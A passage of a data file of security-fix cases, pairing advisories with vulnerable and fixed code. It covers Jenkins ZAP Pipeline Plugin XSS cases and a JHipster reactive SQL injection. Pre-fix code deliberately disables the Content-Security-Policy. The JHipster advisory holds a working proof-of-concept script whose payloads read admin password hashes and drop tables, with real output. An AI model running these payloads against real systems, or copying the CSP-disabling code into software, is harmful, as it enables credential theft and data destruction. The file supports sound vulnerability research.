+advisory_text = "Content-Security-Policy protection for user content disabled by Jenkins ZAP Pipeline Plugin\n\nJenkins sets the `Content-Security-Policy` header to static files served by Jenkins (specifically `DirectoryBrowserSupport`), such as workspaces, `/userContent`, or archived artifacts.\n\nZAP Pipeline Plugin prior to 1.10 globally disables the `Content-Security-Policy` header for static files served by Jenkins. This allows cross-site scripting (XSS) attacks by users with the ability to control files in workspaces, archived artifacts, etc.\n\nJenkins instances with [Resource Root URL](https://www.jenkins.io/doc/upgrade-guide/2.204/#resource-domain-support) configured are largely unaffected. A possible exception are file parameter downloads. The behavior of those depends on the specific version of Jenkins:\n- Jenkins 2.231 and newer, including 2.235.x LTS, is unaffected, as all resource files from user content are generally served safely from a different domain, without restrictions from `Content-Security-Policy` header.\n- Jenkins between 2.228 (inclusive) and 2.230 (inclusive), as well as all releases of Jenkins 2.222.x LTS and the 2.204.6 LTS release, are affected by this vulnerability, as file parameters are not served via the Resource Root URL.\n- Jenkins 2.227 and older, 2.204.5 and older, don’t have XSS protection for file parameter values, see [SECURITY-1793](https://www.jenkins.io/security/advisory/2020-03-25/#SECURITY-1793)."
+commit = "bca4b087c66ead39398f54cdadc27c515e8ede31"
+cwe = "CWE-79"
+family = "output_encoding"
+function = "start"
+function_lines = [[30, 86]]
+id = "jenkinsci-zap-pipeline-plugin-35e96c45d9357469"
+language = "java"
+method = "fix_site"
+parent = "5fc703a3c383eb515909cf0b9dc452ccc38f07d9"
+path = "src/main/java/com/vrondakis/zap/workflow/ArchiveZapExecution.java"
+post_fix = " public boolean start() {\n listener.getLogger().println(\"zap: Archiving results...\");\n System.out.println(\"zap: Archiving results...\");\n ZapDriver zapDriver = ZapDriverController.getZapDriver(this.run);\n\n boolean pscanFinished = waitUntilPassiveScanHasFinished(zapDriver);\n if (!pscanFinished) {\n listener.getLogger().println(\"zap: Passive scan timed out before it could complete\");\n getContext().setResult(Result.UNSTABLE);\n getContext().onSuccess(true);\n return true;\n }\n\n zapDriver.setFailBuild(archiveZapStepParameters.getFailAllAlerts(), archiveZapStepParameters.getFailHighAlerts(),\n archiveZapStepParameters.getFailMediumAlerts(), archiveZapStepParameters.getFailLowAlerts());\n\n try {\n ZapArchive zapArchive = new ZapArchive(this.run);\n boolean archiveResult = zapArchive.archiveRawReport(this.run, this.job, this.workspace, this.listener,\n archiveZapStepParameters.getFalsePositivesFilePath());\n if (!archiveResult) {\n listener.getLogger().println(\"zap: Failed to archive results\");\n getContext().onSuccess(true);\n return true;\n }\n\n // If any of the fail run parameters are set to a value more than 1\n if (zapDriver.getFailBuild().values().stream().anyMatch(count -> count > 0)) {\n if (zapArchive.shouldFailBuild(this.listener)) {\n listener.getLogger().println(\n \"zap: Number of detected ZAP alerts is too high, failing run. Check the ZAP scanning report\");\n run.setResult(Result.FAILURE);\n getContext().onFailure(new Throwable(\n \"zap: Number of detected ZAP alerts is too high, failing run. Check the ZAP scanning report\"));\n\n // Red text on build that shows the build has failed due to ZAP\n this.run.addAction(new ZapFailBuildAction());\n return false;\n }\n }\n\n } finally {\n boolean success = ZapDriverController.shutdownZap(this.run);\n if (!success)\n listener.getLogger().println(\"zap: Failed to shutdown ZAP (it's not running?)\");\n }\n\n getContext().onSuccess(true);\n return true;\n }\n\n /**\n * Waits until there are no more records to scan for the passive scanner\n * \n * @param zapDriver the zap driver\n * @return true if there are no records left so scan, false if the passive scanner timed out\n */"
+pre_fix = " public boolean start() {\n listener.getLogger().println(\"zap: Archiving results...\");\n System.out.println(\"zap: Archiving results...\");\n ZapDriver zapDriver = ZapDriverController.getZapDriver(this.run);\n\n boolean pscanFinished = waitUntilPassiveScanHasFinished(zapDriver);\n if (!pscanFinished) {\n listener.getLogger().println(\"zap: Passive scan timed out before it could complete\");\n getContext().setResult(Result.UNSTABLE);\n getContext().onSuccess(true);\n return true;\n }\n\n zapDriver.setFailBuild(archiveZapStepParameters.getFailAllAlerts(), archiveZapStepParameters.getFailHighAlerts(),\n archiveZapStepParameters.getFailMediumAlerts(), archiveZapStepParameters.getFailLowAlerts());\n\n try {\n ZapArchive zapArchive = new ZapArchive(this.run);\n boolean archiveResult = zapArchive.archiveRawReport(this.run, this.job, this.listener,\n archiveZapStepParameters.getFalsePositivesFilePath());\n if (!archiveResult) {\n listener.getLogger().println(\"zap: Failed to archive results\");\n getContext().onSuccess(true);\n return true;\n }\n\n // If any of the fail run parameters are set to a value more than 1\n if (zapDriver.getFailBuild().values().stream().anyMatch(count -> count > 0)) {\n if (zapArchive.shouldFailBuild(this.listener)) {\n listener.getLogger().println(\n \"zap: Number of detected ZAP alerts is too high, failing run. Check the ZAP scanning report\");\n run.setResult(Result.FAILURE);\n getContext().onFailure(new Throwable(\n \"zap: Number of detected ZAP alerts is too high, failing run. Check the ZAP scanning report\"));\n\n // Red text on build that shows the build has failed due to ZAP\n this.run.addAction(new ZapFailBuildAction());\n return false;\n }\n }\n\n } finally {\n boolean success = ZapDriverController.shutdownZap(this.run);\n if (!success)\n listener.getLogger().println(\"zap: Failed to shutdown ZAP (it's not running?)\");\n }\n\n getContext().onSuccess(true);\n return true;\n }\n\n /**\n * Waits until there are no more records to scan for the passive scanner\n * \n * @param zapDriver the zap driver\n * @return true if there are no records left so scan, false if the passive scanner timed out\n */"
+repo = "jenkinsci/zap-pipeline-plugin"
+url = "https://github.com/jenkinsci/zap-pipeline-plugin.git"
+
+[[case]]
+advisory = "GHSA-4c87-9xq5-5c35"
+advisory_text = "Content-Security-Policy protection for user content disabled by Jenkins ZAP Pipeline Plugin\n\nJenkins sets the `Content-Security-Policy` header to static files served by Jenkins (specifically `DirectoryBrowserSupport`), such as workspaces, `/userContent`, or archived artifacts.\n\nZAP Pipeline Plugin prior to 1.10 globally disables the `Content-Security-Policy` header for static files served by Jenkins. This allows cross-site scripting (XSS) attacks by users with the ability to control files in workspaces, archived artifacts, etc.\n\nJenkins instances with [Resource Root URL](https://www.jenkins.io/doc/upgrade-guide/2.204/#resource-domain-support) configured are largely unaffected. A possible exception are file parameter downloads. The behavior of those depends on the specific version of Jenkins:\n- Jenkins 2.231 and newer, including 2.235.x LTS, is unaffected, as all resource files from user content are generally served safely from a different domain, without restrictions from `Content-Security-Policy` header.\n- Jenkins between 2.228 (inclusive) and 2.230 (inclusive), as well as all releases of Jenkins 2.222.x LTS and the 2.204.6 LTS release, are affected by this vulnerability, as file parameters are not served via the Resource Root URL.\n- Jenkins 2.227 and older, 2.204.5 and older, don’t have XSS protection for file parameter values, see [SECURITY-1793](https://www.jenkins.io/security/advisory/2020-03-25/#SECURITY-1793)."
+commit = "bca4b087c66ead39398f54cdadc27c515e8ede31"
+cwe = "CWE-79"
+family = "output_encoding"
+function = "archiveRawReport"
+function_lines = [[310, 363]]
+id = "jenkinsci-zap-pipeline-plugin-5ee6ae7d06c3ad5e"
+language = "java"
+method = "fix_site"
+parent = "5fc703a3c383eb515909cf0b9dc452ccc38f07d9"
+path = "src/main/java/com/vrondakis/zap/ZapArchive.java"
+post_fix = " public boolean archiveRawReport(Run, ?> dir, @Nonnull Job, ?> job, FilePath workspace, @Nonnull TaskListener taskListener,\n String falsePositivesFilePath) {\n File zapDir = new File(dir.getRootDir(), DIRECTORY_NAME);\n // Create the zap directory in the workspace if it doesn't already exist\n\n if (!zapDir.exists()) {\n boolean mResult = zapDir.mkdir();\n\n if (!mResult) {\n\n taskListener.getLogger()\n .println(\"zap: Could not create directory at \" + zapDir.toURI().toString() + \" (archiveRawReport)\");\n return false;\n }\n }\n\n // Fetches the false positives file (if it exists) and saves it\n saveFalsePositives(falsePositivesFilePath, workspace, taskListener, zapDir);\n\n // Fetches the JSON report from ZAP and saves it\n boolean success = saveZapReport(zapDir) && saveStaticFiles(zapDir) && saveAlertCount(zapDir);\n\n // Only show the graph if ZAP has been ran more than twice in the current builds\n AtomicInteger count = new AtomicInteger(0);\n job.getBuildsAsMap().forEach((k, v) -> {\n File zapDirectory = new File(v.getRootDir(), DIRECTORY_NAME);\n FilePath filePath = new FilePath(new File(zapDirectory.toString() + \"/\" + \"alert-count.json\"));\n\n try {\n if (filePath.exists())\n count.getAndIncrement();\n } catch (InterruptedException | IOException e) {\n // Just don't count this build\n e.printStackTrace();\n }\n });\n\n // If the report was retrieved and saved add the \"ZAP scanning report\" to the build\n // If it was not saved just add the graph (by hiding the button)\n ZapAction action = new ZapAction(run, success);\n\n if(run.getAction(ZapAction.class) == null) {\n if (count.get() > 0) run.addAction(action);\n }\n\n if (!success)\n return false;\n\n // Saves the report of the previous build in the current builds workspace (to compare new/old reports)\n Optional oldBuildZapDir = getPreviousReportDir(job);\n oldBuildZapDir.ifPresent(file -> savePreviousZapReport(zapDir, file));\n\n return true;\n }"
+pre_fix = " public boolean archiveRawReport(Run, ?> dir, @Nonnull Job, ?> job, @Nonnull TaskListener taskListener,\n String falsePositivesFilePath) {\n File zapDir = new File(dir.getRootDir(), DIRECTORY_NAME);\n // Create the zap directory in the workspace if it doesn't already exist\n\n if (!zapDir.exists()) {\n boolean mResult = zapDir.mkdir();\n\n if (!mResult) {\n\n taskListener.getLogger()\n .println(\"zap: Could not create directory at \" + zapDir.toURI().toString() + \" (archiveRawReport)\");\n return false;\n }\n }\n\n // Fetches the false positives file (if it exists) and saves it\n saveFalsePositives(falsePositivesFilePath, dir.getRootDir(), taskListener, zapDir);\n\n // Fetches the JSON report from ZAP and saves it\n boolean success = saveZapReport(zapDir) && saveStaticFiles(zapDir) && saveAlertCount(zapDir);\n\n // Only show the graph if ZAP has been ran more than twice in the current builds\n AtomicInteger count = new AtomicInteger(0);\n job.getBuildsAsMap().forEach((k, v) -> {\n File zapDirectory = new File(v.getRootDir(), DIRECTORY_NAME);\n FilePath filePath = new FilePath(new File(zapDirectory.toString() + \"/\" + \"alert-count.json\"));\n\n try {\n if (filePath.exists())\n count.getAndIncrement();\n } catch (InterruptedException | IOException e) {\n // Just don't count this build\n e.printStackTrace();\n }\n });\n\n // If the report was retrieved and saved add the \"ZAP scanning report\" to the build\n // If it was not saved just add the graph (by hiding the button)\n ZapAction action = new ZapAction(run, success);\n\n if(run.getAction(ZapAction.class) == null) {\n if (count.get() > 0) run.addAction(action);\n }\n\n if (!success)\n return false;\n\n // Saves the report of the previous build in the current builds workspace (to compare new/old reports)\n Optional oldBuildZapDir = getPreviousReportDir(job);\n oldBuildZapDir.ifPresent(file -> savePreviousZapReport(zapDir, file));\n\n return true;\n }"
+repo = "jenkinsci/zap-pipeline-plugin"
+url = "https://github.com/jenkinsci/zap-pipeline-plugin.git"
+
+[[case]]
+advisory = "GHSA-4c87-9xq5-5c35"
+advisory_text = "Content-Security-Policy protection for user content disabled by Jenkins ZAP Pipeline Plugin\n\nJenkins sets the `Content-Security-Policy` header to static files served by Jenkins (specifically `DirectoryBrowserSupport`), such as workspaces, `/userContent`, or archived artifacts.\n\nZAP Pipeline Plugin prior to 1.10 globally disables the `Content-Security-Policy` header for static files served by Jenkins. This allows cross-site scripting (XSS) attacks by users with the ability to control files in workspaces, archived artifacts, etc.\n\nJenkins instances with [Resource Root URL](https://www.jenkins.io/doc/upgrade-guide/2.204/#resource-domain-support) configured are largely unaffected. A possible exception are file parameter downloads. The behavior of those depends on the specific version of Jenkins:\n- Jenkins 2.231 and newer, including 2.235.x LTS, is unaffected, as all resource files from user content are generally served safely from a different domain, without restrictions from `Content-Security-Policy` header.\n- Jenkins between 2.228 (inclusive) and 2.230 (inclusive), as well as all releases of Jenkins 2.222.x LTS and the 2.204.6 LTS release, are affected by this vulnerability, as file parameters are not served via the Resource Root URL.\n- Jenkins 2.227 and older, 2.204.5 and older, don’t have XSS protection for file parameter values, see [SECURITY-1793](https://www.jenkins.io/security/advisory/2020-03-25/#SECURITY-1793)."
+commit = "bca4b087c66ead39398f54cdadc27c515e8ede31"
+cwe = "CWE-79"
+family = "output_encoding"
+function = "doDynamic"
+function_lines = [[61, 69]]
+id = "jenkinsci-zap-pipeline-plugin-953ab12f1f2d06d9"
+language = "java"
+method = "fix_site"
+parent = "5fc703a3c383eb515909cf0b9dc452ccc38f07d9"
+path = "src/main/java/com/vrondakis/zap/ZapAction.java"
+post_fix = " public void doDynamic(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {\n DirectoryBrowserSupport dbs = new DirectoryBrowserSupport(this, new FilePath(this.dir()), this.getTitle(),\n \"/plugin/zap-pipeline/logo.png\", false);\n\n dbs.generateResponse(req, rsp, this);\n }\n"
+pre_fix = " public void doDynamic(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {\n System.setProperty(\"hudson.model.DirectoryBrowserSupport.CSP\", \"\"); // Allow JS scripts to be run (content security policy)\n\n DirectoryBrowserSupport dbs = new DirectoryBrowserSupport(this, new FilePath(this.dir()), this.getTitle(),\n \"/plugin/zap-pipeline/logo.png\", false);\n\n dbs.generateResponse(req, rsp, this);\n }\n"
+repo = "jenkinsci/zap-pipeline-plugin"
+url = "https://github.com/jenkinsci/zap-pipeline-plugin.git"
+
+[[case]]
+advisory = "GHSA-4c87-9xq5-5c35"
+advisory_text = "Content-Security-Policy protection for user content disabled by Jenkins ZAP Pipeline Plugin\n\nJenkins sets the `Content-Security-Policy` header to static files served by Jenkins (specifically `DirectoryBrowserSupport`), such as workspaces, `/userContent`, or archived artifacts.\n\nZAP Pipeline Plugin prior to 1.10 globally disables the `Content-Security-Policy` header for static files served by Jenkins. This allows cross-site scripting (XSS) attacks by users with the ability to control files in workspaces, archived artifacts, etc.\n\nJenkins instances with [Resource Root URL](https://www.jenkins.io/doc/upgrade-guide/2.204/#resource-domain-support) configured are largely unaffected. A possible exception are file parameter downloads. The behavior of those depends on the specific version of Jenkins:\n- Jenkins 2.231 and newer, including 2.235.x LTS, is unaffected, as all resource files from user content are generally served safely from a different domain, without restrictions from `Content-Security-Policy` header.\n- Jenkins between 2.228 (inclusive) and 2.230 (inclusive), as well as all releases of Jenkins 2.222.x LTS and the 2.204.6 LTS release, are affected by this vulnerability, as file parameters are not served via the Resource Root URL.\n- Jenkins 2.227 and older, 2.204.5 and older, don’t have XSS protection for file parameter values, see [SECURITY-1793](https://www.jenkins.io/security/advisory/2020-03-25/#SECURITY-1793)."
+commit = "bca4b087c66ead39398f54cdadc27c515e8ede31"
+cwe = "CWE-79"
+family = "output_encoding"
+function = "saveStaticFiles"
+function_lines = [[68, 81]]
+id = "jenkinsci-zap-pipeline-plugin-f405bf70465980bc"
+language = "java"
+method = "fix_site"
+parent = "5fc703a3c383eb515909cf0b9dc452ccc38f07d9"
+path = "src/main/java/com/vrondakis/zap/ZapArchive.java"
+post_fix = " private boolean saveStaticFiles(File dir) {\n try {\n String[] staticFiles = {\"index.html\", \"angular.min.js\", \"main.js\", \"normalize.css\", \"skeleton.css\", \"main.css\", \"back.png\"};\n String pluginName = \"zap-pipeline\";\n for (String staticFile: staticFiles) {\n FilePath archiveFile = new FilePath(new File(\n Jenkins.getInstance().getPlugin(pluginName).getWrapper().baseResourceURL.getFile(), staticFile));\n archiveFile.copyTo(new FilePath(new File(dir, staticFile)));\n }\n return true;\n } catch (IOException | InterruptedException | NullPointerException e) {\n e.printStackTrace();\n return false;\n }\n }\n"
+pre_fix = " private boolean saveStaticFiles(File dir) {\n try {\n String indexName = \"index.html\";\n String pluginName = \"zap-pipeline\";\n FilePath indexFile = new FilePath(new File(\n Jenkins.getInstance().getPlugin(pluginName).getWrapper().baseResourceURL.getFile(), indexName));\n indexFile.copyTo(new FilePath(new File(dir, indexName)));\n return true;\n } catch (IOException | InterruptedException | NullPointerException e) {\n e.printStackTrace();\n return false;\n }\n }\n"
+repo = "jenkinsci/zap-pipeline-plugin"
+url = "https://github.com/jenkinsci/zap-pipeline-plugin.git"
+
+[[case]]
+advisory = "GHSA-r223-96jv-q533"
+advisory_text = "JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort\n\n# SQL Injection in the `sort` Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applications\n\n- **Product**: jhipster/generator-jhipster (npm package `generator-jhipster`)\n- **Affected versions**: v7.0.0 through v9.2.0 \n- **Component**: generated reactive-application code, template `EntityManager_reactive.java.ejs`\n- **Report date**: 2026-08-29\n\n---\n\n## 1. Summary\n\nEvery reactive (Spring WebFlux + Spring Data R2DBC + SQL) application generated by `generator-jhipster` contains an SQL injection in the paginated entity list endpoints (`GET /api/?sort=...`). The `sort` request parameter is taken verbatim from the user and concatenated into the SQL `ORDER BY` clause without quoting or validation. Because the generated query has no bound parameters, the R2DBC drivers execute it via the **simple query protocol**, so `;`-separated extra statements are run against the database.\n\nA single authenticated low-privileged user (including an account obtained through the default self-registration flow) can therefore **execute arbitrary SQL**: read any table (including `jhi_user` password hashes), modify or delete data, and drop tables (full C/I/A impact). Independently reproduced end-to-end on the default dev database (H2) and the default production database (PostgreSQL 16).\n\nThe JPA (non-reactive) path is **not** affected: Spring Data JPA validates sort property names against the entity metamodel. NoSQL backends are out of scope of this root cause.\n\n## 2. Root Cause\n\nThe generator template\n`generators/spring-boot/generators/data-relational/templates/src/main/java/_package_/repository/EntityManager_reactive.java.ejs` (lines 240–253) writes `createOrderByFields(...)`, which renders the user-supplied sort property directly as an unquoted `SqlIdentifier`:\n\n```java\nprivate static Collection extends OrderByField> createOrderByFields(Table table, Sort sortToUse) {\n List fields = new ArrayList<>();\n for (Sort.Order order : sortToUse) {\n String propertyName = order.getProperty(); // attacker controlled (?sort=...)\n OrderByField orderByField = !propertyName.contains(\".\")\n ? OrderByField.from(table.column(propertyName).as(EntityManager.ALIAS_PREFIX + propertyName))\n : createOrderByField(propertyName);\n fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc());\n }\n return fields;\n}\n```\n\nThe generated app configures `SqlRenderer.create(factory.createRenderContext())` with the default naming strategy, so unquoted identifiers are rendered **verbatim**. With `?sort=id;DROP TABLE product;--` the alias renders into:\n\n```sql\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_id;DROP TABLE product;-- ASC LIMIT 20 OFFSET 0\n```\n\n## 3. Verification \n\nA real application was generated from this repository (`git clone` of the submitted source, v9.2.0), built with Spring Boot 4.1.1, and run against both H2 and PostgreSQL 16.\n\n| Step | H2 (dev default) | PostgreSQL 16 (prod default) |\n| ------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | -------------------------------------------------- |\n| Error probe `sort=name%27` | 500; SQL echoed with raw `'` in `ORDER BY e_name'` | 500; r2dbc-postgresql parse error echoing full SQL |\n| Exfiltrate admin hash via `;UPDATE product SET name=(SELECT password_hash FROM jhi_user ...);--` | HTTP 200; `name` becomes `$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC` | HTTP 200; same hash read back |\n| `;DROP TABLE product;--` | HTTP 200; table gone, subsequent list → 500 | HTTP 200; table gone, subsequent list → 500 |\n\nAll payloads executed with a token carrying only `ROLE_USER`. **No other vulnerability or privileged account is required.**\n\n## 4. Impact\n\nCWE-89 SQL Injection. Confidentiality (arbitrary read, incl. `jhi_user` password hashes), Integrity (arbitrary writes), Availability (table drops). The affected code is produced by default for `reactive: true` + SQL database + paginated entity (the default for monoliths and microservices). Applications must be regenerated after a fix.\n\n## 5. Fix Recommendation\n\nIn `EntityManager.createOrderByFields`, validate each sort property against the entity's persistent metamodel (allow only known column names) or render it as a quoted `SqlIdentifier`; never concatenate raw property strings into SQL. Ship the fix in the generator and advise affected applications to regenerate.\n\n---\n\n## Appendix\n\n### A. Environment setup\n\n```bash\n# 0. Prerequisites: JDK 21, Node >= 20, Docker (PostgreSQL step only), Maven (optional), curl, python3\njava -version # openjdk 21.x\nnode --version # v20+\n\n# 1. Clone the generator \ngit clone https://github.com/jhipster/generator-jhipster.git\ncd generator-jhipster\ngit checkout # e.g. v9.2.0 (or keep main). Folder MUST be named generator-jhipster.\nnpm install --no-audit --no-fund # ~778 packages\nnpm link # makes `jhipster` available\njhipster --version # expected: 9.2.0\n\n# 2. Generate the target app (reactive + SQL + JWT + paginated entity)\nmkdir -p /tmp/pocwebflux && cd /tmp/pocwebflux\ncat > .yo-rc.json <<'EOF'\n{ \"generator-jhipster\": {\n \"applicationType\": \"monolith\", \"baseName\": \"pocwebflux\",\n \"packageName\": \"com.mycompany.pocwebflux\", \"authenticationType\": \"jwt\",\n \"databaseType\": \"sql\", \"devDatabaseType\": \"h2Memory\", \"prodDatabaseType\": \"postgresql\",\n \"reactive\": true, \"skipClient\": true, \"buildTool\": \"maven\",\n \"enableTranslation\": false, \"jhipsterVersion\": \"9.2.0\" } }\nEOF\ncat > product.jdl <<'EOF'\nentity Product { name String required, price BigDecimal }\npaginate Product with pagination\nEOF\nexport JAVA_HOME=$HOME/.sdkman/candidates/java/21.0.7-amzn\njhipster --no-insight --force # -> \"Spring Boot 4.1.1 application generated successfully.\"\njhipster jdl product.jdl --no-insight --force\n\n# Sanity check that the generated app contains the vulnerable code (all should match):\ngrep -n \"OrderByField.from(table.column\" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java\ngrep -n \"findAllBy(Pageable\" src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java\ngrep -n \"Pageable pageable\" src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java\n\n# 3a. Run on H2 (default dev database)\n./mvnw -DskipTests package # -> BUILD SUCCESS\nsetsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \\\n --spring.profiles.active=dev --server.port=18080 > app-dev.log 2>&1 < /dev/null &\ncurl -s http://127.0.0.1:18080/management/health # -> {\"groups\":[...],\"status\":\"UP\"}\nBASE_URL=http://127.0.0.1:18080 bash /poc/poc.sh\n\n# 3b. Run on PostgreSQL 16 (default production database)\ndocker run -d --name jh-pg16 -e POSTGRES_USER=pocwebflux -e POSTGRES_PASSWORD=secret \\\n -e POSTGRES_DB=pocwebflux -p 15432:5432 postgres:16\n./mvnw -Pprod -DskipTests package # prod DB driver is in the Maven prod profile\nSECRET=$(python3 -c \"import base64,os;print(base64.b64encode(os.urandom(64)).decode())\")\nsetsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \\\n --spring.profiles.active=prod --server.port=18081 \\\n --spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux \\\n --spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret \\\n --spring.liquibase.url=jdbc:postgresql://127.0.0.1:15432/pocwebflux \\\n --spring.liquibase.user=pocwebflux --spring.liquibase.password=secret \\\n --jhipster.security.authentication.jwt.base64-secret=$SECRET > app-prod.log 2>&1 < /dev/null &\n# seed two products via the API (prod has no sample data), then run poc.sh:\nBASE_URL=http://127.0.0.1:18081 bash /poc/poc.sh\ndocker rm -f jh-pg16\n```\n\n### B. PoC script \n\n```bash\n#!/usr/bin/env bash\n# Usage: BASE_URL=http://host:port ./poc.sh (uses seeded user/user; JWT=... to reuse a token)\nset -euo pipefail\nBASE_URL=\"${BASE_URL:-http://127.0.0.1:18080}\"; JWT=\"${JWT:-}\"; LOGIN=\"${LOGIN:-user}\"; PASSWORD=\"${PASSWORD:-user}\"\n\nif [ -z \"$JWT\" ]; then\n JWT=$(curl -s -X POST \"$BASE_URL/api/authenticate\" -H 'Content-Type: application/json' \\\n -d \"{\\\"username\\\":\\\"$LOGIN\\\",\\\"password\\\":\\\"$PASSWORD\\\",\\\"rememberMe\\\":false}\" \\\n | python3 -c \"import sys,json;print(json.load(sys.stdin)['id_token'])\")\nfi\nAUTH=\"Authorization: Bearer $JWT\"\n\necho \"== 2) Baseline ==\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc&page=0&size=2\" | head -c 300; echo\necho \"== 3) Error probe: sort=name' ==\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=name%27\" \\\n | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get(\"status\"));print(d.get(\"detail\"))' || true\necho \"== 4) Exfiltrate admin bcrypt hash ==\"\nPAYLOAD=\"id%3BUPDATE%20product%20SET%20name%3D(SELECT%20password_hash%20FROM%20jhi_user%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--\"\ncurl -s -o /dev/null -w \" injection HTTP %{http_code}\\n\" -H \"$AUTH\" \"$BASE_URL/api/products?sort=$PAYLOAD\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc&page=0&size=2\" \\\n | python3 -c \"import sys,json;[print(' id=%s name=%s'%(p['id'],p['name'])) for p in json.load(sys.stdin)]\"\necho \"== 5) DROP TABLE product ==\"\nPAYLOAD=\"id%3BDROP%20TABLE%20product%3B--\"\ncurl -s -o /dev/null -w \" injection HTTP %{http_code}\\n\" -H \"$AUTH\" \"$BASE_URL/api/products?sort=$PAYLOAD\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc\" \\\n | python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get(\"status\"));print(str(d.get(\"detail\"))[:90])' || true\n```\n\n### C. Real output (H2 run, 2026-08-29, full `poc.sh` execution)\n\n```\n== Target: http://127.0.0.1:18080 ==\n== 1) Obtain a low-privileged token (user/user) ==\n== 2) Baseline: benign paginated read (sort=id,asc) ==\n[ { \"id\" : 1, \"name\" : \"eke below forceful\", \"price\" : 3151.02 }, { \"id\" : 2, ... } ]\n\n== 3) Error probe: sort=name' -> raw quote reaches ORDER BY unescaped ==\nstatus: 500\ndetail: Syntax error in SQL statement \"SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price\nFROM product e ORDER BY e_name[*]' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY\"; SQL statement:\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_name' ASC\nOFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY [42000-240]\n\n== 4) Arbitrary SQL: exfiltrate jhi_user.password_hash (admin) into a readable field ==\n injection request HTTP 200\n Read back - first product 'name' now equals the admin bcrypt hash:\n id=1 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC\n id=2 name=notwithstanding\n\n== 5) Arbitrary SQL: DROP TABLE product (availability) ==\n injection request HTTP 200\n After injection, listing products again:\n status: 500\n detail: Table \"PRODUCT\" not found; SQL statement: SELECT COUNT(*) FROM product [42102-240]\n\n== Done. The database has been modified / a table dropped by injected SQL. ==\n```\n\n\n### D. Real output (PostgreSQL 16 run )\n\n```\n== 3) Error probe: sort=name' ==\nstatus: 500\ndetail: Sql cannot be parsed: unclosed quote (quote opened at index 88) in statement:\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e\nORDER BY e_name' ASC LIMIT 20 OFFSET 0\n\n== 4) Exfiltrate jhi_user.password_hash (admin) into a readable field ==\n injection request HTTP 200\n id=1500 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC\n id=1501 name=beta widget\n\n== 5) DROP TABLE product ==\n injection request HTTP 200 -> subsequent list: status 500 \"Failure during data access\"\n```\n"
+commit = "f6f1579581da8db0d1b8bd28dd473b56951c83af"
+cwe = "CWE-89"
+family = "injection"
+function = "preparePostEntityCommonDerivedPropertiesNotTyped"
+function_lines = [[456, 536]]
+id = "jhipster-generator-jhipster-561dd51556f2b530"
+language = "typescript"
+method = "fix_site"
+parent = "5412d97c33c7cc9c5c06c421b5364166986a9f7c"
+path = "generators/base-application/support/prepare-entity.ts"
+post_fix = "function preparePostEntityCommonDerivedPropertiesNotTyped(entity: EntityAll) {\n const { relationships, fields } = entity;\n const oneToOneRelationships = relationships.filter(({ relationshipType }) => relationshipType === 'one-to-one');\n entity.fieldsContainNoOwnerOneToOne = oneToOneRelationships.some(({ ownerSide }) => !ownerSide);\n\n entity.anyPropertyHasValidation ||= relationships.some(({ relationshipValidate }) => relationshipValidate);\n\n const relationshipsByOtherEntity = relationships\n .map(relationship => [relationship.otherEntity.entityNameCapitalized, relationship] as const)\n .reduce(\n (relationshipsByOtherEntity, [type, relationship]) => {\n if (relationshipsByOtherEntity[type]) {\n relationshipsByOtherEntity[type].push(relationship);\n } else {\n relationshipsByOtherEntity[type] = [relationship];\n }\n return relationshipsByOtherEntity;\n },\n {} as Record,\n );\n\n entity.relationshipsByOtherEntity = relationshipsByOtherEntity;\n entity.differentRelationships = relationshipsByOtherEntity;\n\n entity.anyPropertyHasValidation ||= fields.some(({ fieldValidate }) => fieldValidate);\n\n entity.otherEntities = uniq(entity.relationships.map(rel => rel.otherEntity));\n\n entity.persistableRelationships = relationships.filter(({ persistableRelationship }) => persistableRelationship);\n entity.otherEntitiesWithPersistableRelationship = uniq(entity.persistableRelationships.map(rel => rel.otherEntity));\n\n entity.updatableEntity =\n entity.fields.some(field => !field.id && !field.transient) ||\n entity.relationships.some(relationship => !relationship.id && relationship.persistableRelationship);\n\n entity.entityContainsCollectionField = entity.relationships.some(relationship => relationship.collection);\n\n if (entity.primaryKey) {\n derivedPrimaryKeyProperties(entity.primaryKey);\n entity.requiresPersistableImplementation ||= entity.fields.some(field => field.requiresPersistableImplementation);\n }\n\n const types = entity.relationships\n .filter(rel => rel.otherEntity.primaryKey)\n .flatMap(rel => rel.otherEntity.primaryKey!.fields.map(f => f.fieldType));\n entity.otherEntityPrimaryKeyTypes = [...new Set(types)];\n entity.otherEntityPrimaryKeyTypesIncludesUUID = types.includes(UUID);\n\n entity.relationships.forEach(relationship => {\n if (!relationship.otherEntity.primaryKey) {\n relationship.bagRelationship = false;\n relationship.relationshipEagerLoad = 